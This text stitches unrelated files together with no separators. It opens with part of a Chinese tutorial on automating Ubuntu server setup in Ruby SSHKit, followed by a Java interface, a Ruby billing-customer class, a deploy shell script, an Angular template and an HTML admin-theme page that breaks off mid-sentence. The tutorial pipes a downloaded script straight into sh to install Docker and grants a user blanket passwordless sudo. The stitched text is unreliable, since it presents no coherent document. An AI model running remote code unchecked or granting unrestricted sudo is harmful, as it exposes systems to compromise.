"/home/#{user}/.ssh have already exists." else puts "/home/#{user}/.ssh not exists, create one." execute "mkdir /home/#{user}/.ssh" execute "chown -R #{user}:sudo /home/#{user}/.ssh" end upload! '/Users/james/.ssh/id_rsa.pub', '/tmp/id_rsa.pub' execute "cat /tmp/id_rsa.pub >> /home/#{user}/.ssh/authorized_keys" with_ssh do |ssh| ch = ssh.exec("passwd #{user}", &passwd_handler) ch.wait end end if test '[ -f /etc/apt/sources.list_bak ]' puts 'The mirrors sources list have already setup!' else capture :mv, '/etc/apt/sources.list /etc/apt/sources.list_bak' contents = StringIO.new <<-SOURCE_CONTENT deb http://mirrors.aliyun.com/ubuntu/ utopic main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-backports main restricted universe multiverse SOURCE_CONTENT upload! contents, '/etc/apt/sources.list' end end ``` 如果是第一次设置deploy(用户名可以自己定义)用户,上面的代码等价于在Ubuntu使用root用户直接执行如下代码: ```sh # 新增用户 adduser --ingroup sudo --shell /bin/bash --disabled-password --gecos 'User for managing of deployment' --quiet --home /home/deploy deploy # 设置sudo免输入密码 echo 'deploy ALL = (ALL) NOPASSWD: ALL' > /tmp/sudoer_deploy mv /tmp/sudoer_deploy /etc/sudoers.d/deploy chown -R root:root /etc/sudoers.d/deploy # 设置本机deploy登陆Ubuntu免输入密码 mkdir /home/deploy/.ssh chown -R deploy:sudo /home/deploy/.ssh # 上传本地~/.ssh/id_rsa.pub文件到Ubuntu的临时目录 cat /tmp/id_rsa.pub >> /home/deploy/.ssh/authorized_keys ``` 为了加快国内用户有必要更换apt源,这里推荐aliyun的源,把如下代码加到/etc/apt/sources.list即可。 ``` deb http://mirrors.aliyun.com/ubuntu/ utopic main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ utopic-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ utopic-backports main restricted universe multiverse ``` ### 配置Oh-My-Zsh ```ruby # Setup Oh-My-Zsh on "#{user}@#{host}", in: :sequence, wait: 5 do capture :sudo, 'apt-get -y update' capture :sudo, 'apt-get -y install python-software-properties' capture :sudo, 'apt-get -y upgrade' capture :sudo, 'apt-get -y dist-upgrade' oh_my_zsh_dir = "/home/#{user}/.oh-my-zsh" if test "[ -d #{oh_my_zsh_dir} ]" within oh_my_zsh_dir do execute :git, :pull execute :git, :fetch, :upstream execute :git, :checkout, :master execute :git, :rebase, 'upstream/master' end else capture :sudo, 'apt-get -y install git' unless test('command -v git') execute :git, :config, '--global user.name "James Zhan"' execute :git, :config, '--global user.email "zhiqiangzhan@gmail.com"' execute :git, :clone, 'https://github.com/jameszhan/oh-my-zsh.git', oh_my_zsh_dir within oh_my_zsh_dir do execute :git, :remote, :add, :upstream, 'https://github.com/robbyrussell/oh-my-zsh.git' execute :git, :pull, :origin, :master capture :cp, 'templates/zshrc.zsh-template', '../.zshrc' end capture :sudo, 'apt-get -y install zsh' unless test('command -v zsh') end with_ssh do |ssh| ch = ssh.exec('chsh -s `which zsh`', &passwd_handler) ch.wait end unless capture('echo $SHELL') =~ /zsh$/ end ``` 以上代码等价于以下几个过程。 首先,我们先更新下apt环境。 ```sh sudo apt-get -y update sudo apt-get -y install python-software-properties sudo apt-get -y upgrade' sudo apt-get -y dist-upgrade' ``` 安装Git和zsh ```sh sudo apt-get -y install git zsh git config --global user.name "James Zhan" git config --global user.email "zhiqiangzhan@gmail.com" ``` 配置Oh-My-Zsh ```sh git clone https://github.com/jameszhan/oh-my-zsh.git /home/deploy/.oh-my-zsh git remote add upstream https://github.com/robbyrussell/oh-my-zsh.git git pull origin master cp /home/deploy/.oh-my-zsh/templates/zshrc.zsh-template /home/deploy/.zshrc chsh -s `which zsh` ``` ### 安装rbenv ```sh on "#{user}@#{host}", in: :sequence, wait: 5 do #Install rbenv within '/usr/local' do if test '[ -d /usr/local/rbenv ]' within 'rbenv' do execute :git, :pull end else execute :sudo, :git, :clone, 'https://github.com/sstephenson/rbenv.git rbenv' execute :sudo, 'chown -R deploy:sudo rbenv' end within 'rbenv' do if test '[ -d /usr/local/rbenv/plugins/ruby-build ]' within 'plugins/ruby-build' do execute :git, :pull end else execute :git, :clone, 'https://github.com/sstephenson/ruby-build.git plugins/ruby-build' end end if test '[ -f /etc/profile.d/rbenv.sh ]' puts 'rbenv.sh have already setup!' else rbenv_scripts = StringIO.new <<-SOURCE_CONTENT # rbenv setup export RBENV_ROOT=/usr/local/rbenv export PATH="$RBENV_ROOT/bin:$PATH" eval "$(rbenv init -)" SOURCE_CONTENT upload! rbenv_scripts, '/tmp/rbenv_scripts' execute 'chmod +x /tmp/rbenv_scripts' execute :sudo, :mv, '/tmp/rbenv_scripts', '/etc/profile.d/rbenv.sh' if test('[ -f /tmp/rbenv_scripts ]') execute 'echo "source /etc/profile.d/rbenv.sh" >> ~/.zshrc' end end unless test('source /etc/profile.d/rbenv.sh && ruby --version') execute :sudo, 'apt-get -y install autoconf bison build-essential libssl-dev libyaml-dev libreadline6-dev zlib1g-dev libncurses5-dev libffi-dev libgdbm3 libgdbm-dev' execute <<-ZSHRC source /etc/profile.d/rbenv.sh rbenv install --verbose 2.2.2 rbenv global 2.2.2 rbenv rehash gem install bundler ZSHRC end end ``` 以上自动化脚本描述了使用rbenv安装Ruby,等价于如下代码。 ```sh sudo git clone https://github.com/sstephenson/rbenv.git /usr/local/rbenv sudo chown -R deploy:sudo /usr/local/rbenv git clone https://github.com/sstephenson/ruby-build.git /usr/local/rbenv/plugins/ruby-build ``` 把以下的配置加入了/etc/profile.d/rbenv.sh中 ``` # rbenv setup export RBENV_ROOT=/usr/local/rbenv export PATH="$RBENV_ROOT/bin:$PATH" eval "$(rbenv init -)" ``` 随后执行 ```sh echo "source /etc/profile.d/rbenv.sh" >> ~/.zshrc ``` 安装Ruby ```sh sudo apt-get -y install autoconf bison build-essential libssl-dev libyaml-dev libreadline6-dev zlib1g-dev libncurses5-dev libffi-dev libgdbm3 libgdbm-dev rbenv install --verbose 1.9.3 rbenv global 1.9.3 rbenv rehash gem install bundler ``` ### 安装其他软件 ```ruby on "#{user}@#{host}", in: :sequence, wait: 5 do # nginx unless test('type nginx') execute :sudo, 'add-apt-repository ppa:nginx/stable' execute :sudo, 'apt-get -y update' execute :sudo, 'apt-get -y install nginx' end #docker execute :sudo, 'apt-get -y update' execute :sudo, 'apt-get -y install wget' unless test('type wget') with_ssh do |ssh| ch = ssh.exec('wget -qO- https://get.docker.com/ | sh', &passwd_handler) ch.wait end unless test('type docker') end ``` 安装其他的软件 ```sh sudo apt-get -y install wget rename # Nginx sudo add-apt-repository ppa:nginx/stable apt-get -y update apt-get -y install nginx ``` ## 使用脚本自动部署 ```sh # 下载完整的部署脚本 wget https://raw.githubusercontent.com/jameszhan/prototypes/master/ruby/ubuntu_setup.rb ruby ubuntu_setup.rb HOST_IP USERNAME PASSWORD ``` [linuxmirrors]: http://mirrors.kernel.org/ "Linux Kernel Archives" [ubuntu163]: http://mirrors.163.com/ubuntu/ "网易开源镜像" [rubyinstaller]: http://rubyinstaller.org/ "RubyIntaller" [capistrano]: https://github.com/capistrano/capistrano "SSHKit" [sshkit]: https://github.com/capistrano/sshkit "SSHKit" [net-ssh]: https://github.com/net-ssh/net-ssh "Net::SSH"
package main.java.mergame.individuos; public interface Atacable { public void serAtacado(int danio); }
module Mousetrap class Customer < Resource attr_accessor \ :id, :code, :email, :first_name, :last_name, :company, :notes, :subscription, :charges, :items def update_tracked_item_quantity(item_code, quantity = 1) tracked_item_resource = if quantity == quantity.abs 'add-item-quantity' else 'remove-item-quantity' end attributes = { :itemCode => item_code, :quantity => quantity.abs } response = self.class.put_resource 'customers', tracked_item_resource, code, attributes raise response['error'] if response['error'] response end def add_item_quantity(item_code, quantity = 1) update_tracked_item_quantity(item_code, quantity) end def remove_item_quantity(item_code, quantity = 1) update_tracked_item_quantity(item_code, -quantity) end def add_custom_charge(item_code, amount = 1.0, quantity = 1, description = nil) attributes = { :chargeCode => item_code, :eachAmount => amount, :quantity => quantity, :description => description } response = self.class.put_resource 'customers', 'add-charge', code, attributes raise response['error'] if response['error'] response end def instant_bill_custom_charge(item_code, amount = 1.0, quantity = 1, description = nil) add_custom_charge(item_code, amount, quantity, description) bill_now end def subscription_attributes=(attributes) self.subscription = Subscription.new attributes end def attributes { :id => id, :code => code, :email => email, :first_name => first_name, :last_name => last_name, :company => company, :notes => notes, :charges => charges, :items => items } end def attributes_for_api # TODO: superclass? self.class.attributes_for_api(attributes, new_record?) end def attributes_for_api_with_subscription raise "Must have subscription" unless subscription a = attributes_for_api a[:subscription] = subscription.attributes_for_api a end def cancel member_action 'cancel' unless new_record? end def new? if api_customer = self.class[code] self.id = api_customer.id return false else return true end end def save new? ? create : update end def switch_to_plan(plan_code) raise "Can only call this on an existing CheddarGetter customer." unless exists? attributes = { :planCode => plan_code } self.class.put_resource('customers', 'edit-subscription', code, attributes) # TODO: Refresh self with reload here? end def bill_now raise "Can only call this on an existing CheddarGetter customer." unless exists? attributes = { :changeBillDate => 'now' } self.class.put_resource('customers', 'edit-subscription', code, attributes) end def self.all response = get_resources 'customers' if response['error'] if response['error'] =~ /No customers found/ return [] else raise response['error'] end end build_resources_from response end def self.create(attributes) object = new(attributes) object.send(:create) object end def self.new_from_api(attributes) customer = new(attributes_from_api(attributes)) subscription_attrs = attributes['subscriptions']['subscription'] customer.subscription = Subscription.new_from_api(subscription_attrs.kind_of?(Array) ? subscription_attrs.first : subscription_attrs) customer end def self.update(customer_code, attributes) customer = new(attributes) customer.code = customer_code customer.send :update end protected def self.plural_resource_name 'customers' end def self.singular_resource_name 'customer' end def self.attributes_for_api(attributes, new_record = true) mutated_hash = { :email => attributes[:email], :firstName => attributes[:first_name], :lastName => attributes[:last_name], :company => attributes[:company], :notes => attributes[:notes] } mutated_hash.merge!(:charges => attributes[:charges]) if attributes[:charges] mutated_hash.merge!(:items => attributes[:items]) if attributes[:items] mutated_hash.merge!(:code => attributes[:code]) if new_record mutated_hash end def self.attributes_from_api(attributes) { :id => attributes['id'], :code => attributes['code'], :first_name => attributes['firstName'], :last_name => attributes['lastName'], :company => attributes['company'], :email => attributes['email'], :notes => attributes['notes'] } end def create response = self.class.post_resource 'customers', 'new', attributes_for_api_with_subscription raise response['error'] if response['error'] returned_customer = self.class.build_resource_from response self.id = returned_customer.id response end def update if subscription response = self.class.put_resource 'customers', 'edit', code, attributes_for_api_with_subscription else response = self.class.put_resource 'customers', 'edit-customer', code, attributes_for_api end raise response['error'] if response['error'] end end end
#!/bin/sh export HOME=/home/ubuntu export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" cd /home/ubuntu/mplusmuseum-stories npm i -g npm npm install npm run build pm2 restart mplusmuseum-stories
<ng-template key="body-cell-url.tpl.html" let-$cell let-$view="$view"> <a [attr.href]="$cell.value" tabindex="-1" target="_blank"> {{$cell.label || $cell.value}} </a> <button *ngIf="$view.edit.cell.canEdit($cell)" class="q-grid-url-edit q-grid-edit-trigger" mat-icon-button aria-label="url" tabindex="-1" matTooltip="Edit Url" matTooltipPosition="below" [matTooltipShowDelay]="800" [q-grid-command]="$view.edit.cell.enter" [q-grid-command-arg]="$cell"> <mat-icon class="q-grid-icon">edit</mat-icon> </button> </ng-template>
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"> <meta name="description" content="admin-themes-lab"> <meta name="author" content="themes-lab"> <link rel="shortcut icon" href="../assets/global/images/favicon.png" type="image/png"> <title>Make Admin Template &amp; Builder</title> <link href="../assets/global/css/style.css" rel="stylesheet"> <link href="../assets/global/css/theme.css" rel="stylesheet"> <link href="../assets/global/css/ui.css" rel="stylesheet"> <link href="../assets/admin/layout1/css/layout.css" rel="stylesheet"> <script src="../assets/global/plugins/modernizr/modernizr-2.6.2-respond-1.1.0.min.js"></script> </head> <!-- LAYOUT: Apply "submenu-hover" class to body element to have sidebar submenu show on mouse hover --> <!-- LAYOUT: Apply "sidebar-collapsed" class to body element to have collapsed sidebar --> <!-- LAYOUT: Apply "sidebar-top" class to body element to have sidebar on top of the page --> <!-- LAYOUT: Apply "sidebar-hover" class to body element to show sidebar only when your mouse is on left / right corner --> <!-- LAYOUT: Apply "submenu-hover" class to body element to show sidebar submenu on mouse hover --> <!-- LAYOUT: Apply "fixed-sidebar" class to body to have fixed sidebar --> <!-- LAYOUT: Apply "fixed-topbar" class to body to have fixed topbar --> <!-- LAYOUT: Apply "rtl" class to body to put the sidebar on the right side --> <!-- LAYOUT: Apply "boxed" class to body to have your page with 1200px max width --> <!-- THEME STYLE: Apply "theme-sdtl" for Sidebar Dark / Topbar Light --> <!-- THEME STYLE: Apply "theme sdtd" for Sidebar Dark / Topbar Dark --> <!-- THEME STYLE: Apply "theme sltd" for Sidebar Light / Topbar Dark --> <!-- THEME STYLE: Apply "theme sltl" for Sidebar Light / Topbar Light --> <!-- THEME COLOR: Apply "color-default" for dark color: #2B2E33 --> <!-- THEME COLOR: Apply "color-primary" for primary color: #319DB5 --> <!-- THEME COLOR: Apply "color-red" for red color: #C9625F --> <!-- THEME COLOR: Apply "color-green" for green color: #18A689 --> <!-- THEME COLOR: Apply "color-orange" for orange color: #B66D39 --> <!-- THEME COLOR: Apply "color-purple" for purple color: #6E62B5 --> <!-- THEME COLOR: Apply "color-blue" for blue color: #4A89DC --> <!-- BEGIN BODY --> <body class="fixed-topbar fixed-sidebar theme-sdtl color-default"> <!--[if lt IE 7]> <p class="browsehappy">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p> <![endif]--> <section> <!-- BEGIN SIDEBAR --> <div class="sidebar"> <div class="logopanel"> <h1> <a href="dashboard.html"></a> </h1> </div> <div class="sidebar-inner"> <div class="sidebar-top"> <form action="search-result.html" method="post" class="searchform" id="search-results"> <input type="text" class="form-control" name="keyword" placeholder="Search..."> </form> <div class="userlogged clearfix"> <i class="icon icons-faces-users-01"></i> <div class="user-details"> <h4>Mike Mayers</h4> <div class="dropdown user-login"> <button class="btn btn-xs dropdown-toggle btn-rounded" type="button" data-toggle="dropdown" data-hover="dropdown" data-close-others="true" data-delay="300"> <i class="online"></i><span>Available</span><i class="fa fa-angle-down"></i> </button> <ul class="dropdown-menu"> <li><a href="#"><i class="busy"></i><span>Busy</span></a></li> <li><a href="#"><i class="turquoise"></i><span>Invisible</span></a></li> <li><a href="#"><i class="away"></i><span>Away</span></a></li> </ul> </div> </div> </div> </div> <div class="menu-title"> Navigation <div class="pull-right menu-settings"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true" data-delay="300"> <i class="icon-settings"></i> </a> <ul class="dropdown-menu"> <li><a href="#" id="reorder-menu" class="reorder-menu">Reorder menu</a></li> <li><a href="#" id="remove-menu" class="remove-menu">Remove elements</a></li> <li><a href="#" id="hide-top-sidebar" class="hide-top-sidebar">Hide user &amp; search</a></li> </ul> </div> </div> <ul class="nav nav-sidebar"> <li><a href="dashboard.html"><i class="icon-home"></i><span>Dashboard</span></a></li> <li class="nav-parent"> <a href="#"><i class="icon-puzzle"></i><span>Builder</span> <span class="fa arrow"></span></a> <ul class="children collapse"> <li><a target="_blank" href="../../admin-builder/index.html"> Admin</a></li> <li><a href="page-builder/index.html"> Page</a></li> <li><a href="ecommerce-pricing-table.html"> Pricing Table</a></li> </ul> </li> <li class="nav-parent"> <a href="#"><i class="icon-bulb"></i><span>Mailbox</span> <span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="mailbox.html"> Inbox</a></li> <li><a href="mailbox-send.html"> Send Email</a></li> </ul> </li> <li class="nav-parent nav-active active"> <a href=""><i class="icon-screen-desktop"></i><span>UI Elements</span> <span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="ui-buttons.html"> Buttons</a></li> <li><a href="ui-components.html"> Components</a></li> <li><a href="ui-tabs.html"> Tabs</a></li> <li><a href="ui-animations.html"> Animations CSS3</a></li> <li><a href="ui-icons.html"> Icons</a></li> <li><a href="ui-portlets.html"> Portlets</a></li> <li class="active"><a href="ui-nestable-list.html"> Nestable List</a></li> <li><a href="ui-tree-view.html"> Tree View</a></li> <li><a href="ui-modals.html"> Modals</a></li> <li><a href="ui-notifications.html"> Notifications</a></li> <li><a href="ui-typography.html"> Typography</a></li> <li><a href="ui-helper.html"> Helper Classes</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-layers"></i><span>Layouts</span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="layouts-api.html"> Layout API</a></li> <li><a href="layout-topbar-menu.html"> Topbar Menu</a></li> <li><a href="layout-topbar-mega-menu.html"> Topbar Mega Menu</a></li> <li><a href="layout-topbar-mega-menu-dark.html"> Topbar Mega Dark</a></li> <li><a href="layout-sidebar-hover.html"> Sidebar on Hover</a></li> <li><a href="layout-submenu-hover.html"> Sidebar Submenu Hover</a></li> <li><a href="layout-boxed.html"> Boxed Layout</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-note"></i><span>Forms </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="forms.html"> Forms Elements</a></li> <li><a href="forms-validation.html"> Forms Validation</a></li> <li><a href="forms-plugins.html"> Advanced Plugins</a></li> <li><a href="forms-wizard.html"> <span class="pull-right badge badge-danger">low</span> <span>Form Wizard</span></a></li> <li><a href="forms-sliders.html"> Sliders</a></li> <li><a href="forms-editors.html"> Text Editors</a></li> <li><a href="forms-input-masks.html"> Input Masks</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="fa fa-table"></i><span>Tables</span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="tables.html"> Tables Styling</a></li> <li><a href="tables-dynamic.html"> Tables Dynamic</a></li> <li><a href="tables-filter.html"> Tables Filter</a></li> <li><a href="tables-editable.html"> Tables Editable</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-bar-chart"></i><span>Charts </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="charts.html"> Charts</a></li> <li><a href="charts-finance.html"> Financial Charts</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-picture"></i><span>Medias</span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="medias-image-croping.html"> Images Croping</a></li> <li><a href="medias-gallery-sortable.html"> Gallery Sortable</a></li> <li><a href="medias-hover-effects.html"> <span class="pull-right badge badge-primary">12</span> Hover Effects</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-docs"></i><span>Pages </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="page-timeline.html"> Timeline</a></li> <li><a href="page-404.html"> Error 404</a></li> <li><a href="page-500.html"> Error 500</a></li> <li><a href="page-blank.html"> Blank Page</a></li> <li><a href="page-contact.html"> Contact</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-user"></i><span>User </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="user-profil.html"> <span class="pull-right badge badge-danger">Hot</span> Profil</a></li> <li><a href="user-lockscreen.html"> Lockscreen</a></li> <li><a href="user-login-v1.html"> Login / Register</a></li> <li><a href="user-login-v2.html"> Login / Register v2</a></li> <li><a href="user-session-timeout.html"> Session Timeout</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-basket"></i><span>eCommerce </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="ecommerce-cart.html"> Shopping Cart</a></li> <li><a href="ecommerce-invoice.html"> Invoice</a></li> <li><a href="ecommerce-pricing-table.html"><span class="pull-right badge badge-success">5</span> Pricing Table</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-cup"></i><span>Extra </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="extra-fullcalendar.html"><span class="pull-right badge badge-primary">New</span> Fullcalendar</a></li> <li><a href="extra-widgets.html"> Widgets</a></li> <li><a href="page-coming-soon.html"> Coming Soon</a></li> <li><a href="extra-sliders.html"> Sliders</a></li> <li><a href="maps-google.html"> Google Maps</a></li> <li><a href="maps-vector.html"> Vector Maps</a></li> <li><a href="extra-translation.html"> Translation</a></li> </ul> </li> </ul> <!-- SIDEBAR WIDGET FOLDERS --> <div class="sidebar-widgets"> <p class="menu-title widget-title">Folders <span class="pull-right"><a href="#" class="new-folder"> <i class="icon-plus"></i></a></span></p> <ul class="folders"> <li> <a href="#"><i class="icon-doc c-primary"></i>My documents</a> </li> <li> <a href="#"><i class="icon-picture"></i>My images</a> </li> <li><a href="#"><i class="icon-lock"></i>Secure data</a> </li> <li class="add-folder"> <input type="text" placeholder="Folder's name..." class="form-control input-sm"> </li> </ul> </div> <div class="sidebar-footer clearfix"> <a class="pull-left footer-settings" href="#" data-rel="tooltip" data-placement="top" data-original-title="Settings"> <i class="icon-settings"></i></a> <a class="pull-left toggle_fullscreen" href="#" data-rel="tooltip" data-placement="top" data-original-title="Fullscreen"> <i class="icon-size-fullscreen"></i></a> <a class="pull-left" href="user-lockscreen.html" data-rel="tooltip" data-placement="top" data-original-title="Lockscreen"> <i class="icon-lock"></i></a> <a class="pull-left btn-effect" href="user-login-v1.html" data-modal="modal-1" data-rel="tooltip" data-placement="top" data-original-title="Logout"> <i class="icon-power"></i></a> </div> </div> </div> <!-- END SIDEBAR --> <div class="main-content"> <!-- BEGIN TOPBAR --> <div class="topbar"> <div class="header-left"> <div class="topnav"> <a class="menutoggle" href="#" data-toggle="sidebar-collapsed"><span class="menu__handle"><span>Menu</span></span></a> <ul class="nav nav-icons"> <li><a href="#" class="toggle-sidebar-top"><span class="icon-user-following"></span></a></li> <li><a href="mailbox.html"><span class="octicon octicon-mail-read"></span></a></li> <li><a href="#"><span class="octicon octicon-flame"></span></a></li> <li><a href="builder-page.html"><span class="octicon octicon-rocket"></span></a></li> </ul> </div> </div> <div class="header-right"> <ul class="header-menu nav navbar-nav"> <!-- BEGIN USER DROPDOWN --> <li class="dropdown" id="language-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-globe"></i> <span>Language</span> </a> <ul class="dropdown-menu"> <li> <a href="#" data-lang="en"><img src="../assets/global/images/flags/usa.png" alt="flag-english"> <span>English</span></a> </li> <li> <a href="#" data-lang="es"><img src="../assets/global/images/flags/spanish.png" alt="flag-english"> <span>Español</span></a> </li> <li> <a href="#" data-lang="fr"><img src="../assets/global/images/flags/french.png" alt="flag-english"> <span>Français</span></a> </li> </ul> </li> <!-- END USER DROPDOWN --> <!-- BEGIN NOTIFICATION DROPDOWN --> <li class="dropdown" id="notifications-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-bell"></i> <span class="badge badge-danger badge-header">6</span> </a> <ul class="dropdown-menu"> <li class="dropdown-header clearfix"> <p class="pull-left">12 Pending Notifications</p> </li> <li> <ul class="dropdown-menu-list withScroll" data-height="220"> <li> <a href="#"> <i class="fa fa-star p-r-10 f-18 c-orange"></i> Steve have rated your photo <span class="dropdown-time">Just now</span> </a> </li> <li> <a href="#"> <i class="fa fa-heart p-r-10 f-18 c-red"></i> John added you to his favs <span class="dropdown-time">15 mins</span> </a> </li> <li> <a href="#"> <i class="fa fa-file-text p-r-10 f-18"></i> New document available <span class="dropdown-time">22 mins</span> </a> </li> <li> <a href="#"> <i class="fa fa-picture-o p-r-10 f-18 c-blue"></i> New picture added <span class="dropdown-time">40 mins</span> </a> </li> <li> <a href="#"> <i class="fa fa-bell p-r-10 f-18 c-orange"></i> Meeting in 1 hour <span class="dropdown-time">1 hour</span> </a> </li> <li> <a href="#"> <i class="fa fa-bell p-r-10 f-18"></i> Server 5 overloaded <span class="dropdown-time">2 hours</span> </a> </li> <li> <a href="#"> <i class="fa fa-comment p-r-10 f-18 c-gray"></i> Bill comment your post <span class="dropdown-time">3 hours</span> </a> </li> <li> <a href="#"> <i class="fa fa-picture-o p-r-10 f-18 c-blue"></i> New picture added <span class="dropdown-time">2 days</span> </a> </li> </ul> </li> <li class="dropdown-footer clearfix"> <a href="#" class="pull-left">See all notifications</a> <a href="#" class="pull-right"> <i class="icon-settings"></i> </a> </li> </ul> </li> <!-- END NOTIFICATION DROPDOWN --> <!-- BEGIN MESSAGES DROPDOWN --> <li class="dropdown" id="messages-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-paper-plane"></i> <span class="badge badge-primary badge-header"> 8 </span> </a> <ul class="dropdown-menu"> <li class="dropdown-header clearfix"> <p class="pull-left"> You have 8 Messages </p> </li> <li class="dropdown-body"> <ul class="dropdown-menu-list withScroll" data-height="220"> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar3.png" alt="avatar 3"> </span> <div class="clearfix"> <div> <strong>Alexa Johnson</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>12 mins ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"> </span> <div class="clearfix"> <div> <strong>John Smith</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>47 mins ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar5.png" alt="avatar 5"> </span> <div class="clearfix"> <div> <strong>Bobby Brown</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>1 hour ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar6.png" alt="avatar 6"> </span> <div class="clearfix"> <div> <strong>James Miller</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>2 days ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> </ul> </li> <li class="dropdown-footer clearfix"> <a href="mailbox.html" class="pull-left">See all messages</a> <a href="#" class="pull-right"> <i class="icon-settings"></i> </a> </li> </ul> </li> <!-- END MESSAGES DROPDOWN --> <!-- BEGIN USER DROPDOWN --> <li class="dropdown" id="user-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <img src="../assets/global/images/avatars/user1.png" alt="user image"> <span class="username">Hi, John Doe</span> </a> <ul class="dropdown-menu"> <li> <a href="#"><i class="icon-user"></i><span>My Profile</span></a> </li> <li> <a href="#"><i class="icon-calendar"></i><span>My Calendar</span></a> </li> <li> <a href="#"><i class="icon-settings"></i><span>Account Settings</span></a> </li> <li> <a href="#"><i class="icon-logout"></i><span>Logout</span></a> </li> </ul> </li> <!-- END USER DROPDOWN --> <!-- CHAT BAR ICON --> <li id="quickview-toggle"><a href="#"><i class="icon-bubbles"></i></a></li> </ul> </div> <!-- header-right --> </div> <!-- END TOPBAR --> <!-- BEGIN PAGE CONTENT --> <div class="page-content"> <div class="header"> <h2><strong>Nestable</strong> Lists</h2> <div class="breadcrumb-wrapper"> <ol class="breadcrumb"> <li><a href="#">Make</a> </li> <li><a href="#">Pages</a> </li> <li class="active">Nestable Lists</li> </ol> </div> </div> <div class="row"> <div class="col-lg-12 portlets"> <div class="panel"> <div class="panel-header panel-controls"> <h3><i class="icon-bulb"></i> Nestable <strong>Styles</strong></h3> </div> <div class="panel-content"> <p>Here is a useful sortable list that can be grouped and sorted by simply dragging and dropping even on a touch device</p> <div class="row"> <div class="col-md-6"> <h3><strong>White</strong> style</h3> <p>You can easily reorder list by drag &amp; drop, like this admin menu sidebar.</p> <div class="dd nestable"> <ol class="dd-list"> <li class="dd-item" data-id="1"> <div class="dd3-content">Item 1</div> </li> <li class="dd-item" data-id="2"> <div class="dd3-content">Item 2</div> <ol class="dd-list"> <li class="dd-item" data-id="3"> <div class="dd3-content">Item 3</div> </li> <li class="dd-item" data-id="4"> <div class="dd3-content">Item 4</div> <ol class="dd-list"> <li class="dd-item" data-id="5"> <div class="dd3-content">Item 5</div> </li> </ol> </li> <li class="dd-item" data-id="6"> <div class="dd3-content">Item 6</div> </li> <li class="dd-item" data-id="7"> <div class="dd3-content">Item 7</div> </li> </ol> </li> <li class="dd-item" data-id="8"> <div class="dd3-content">Item 8</div> </li> </ol> </div> </div> <div class="col-md-6"> <h3><strong>Dark</strong> style with<strong>Drag &amp; Drop</strong></h3> <p>To go to dark side, just add 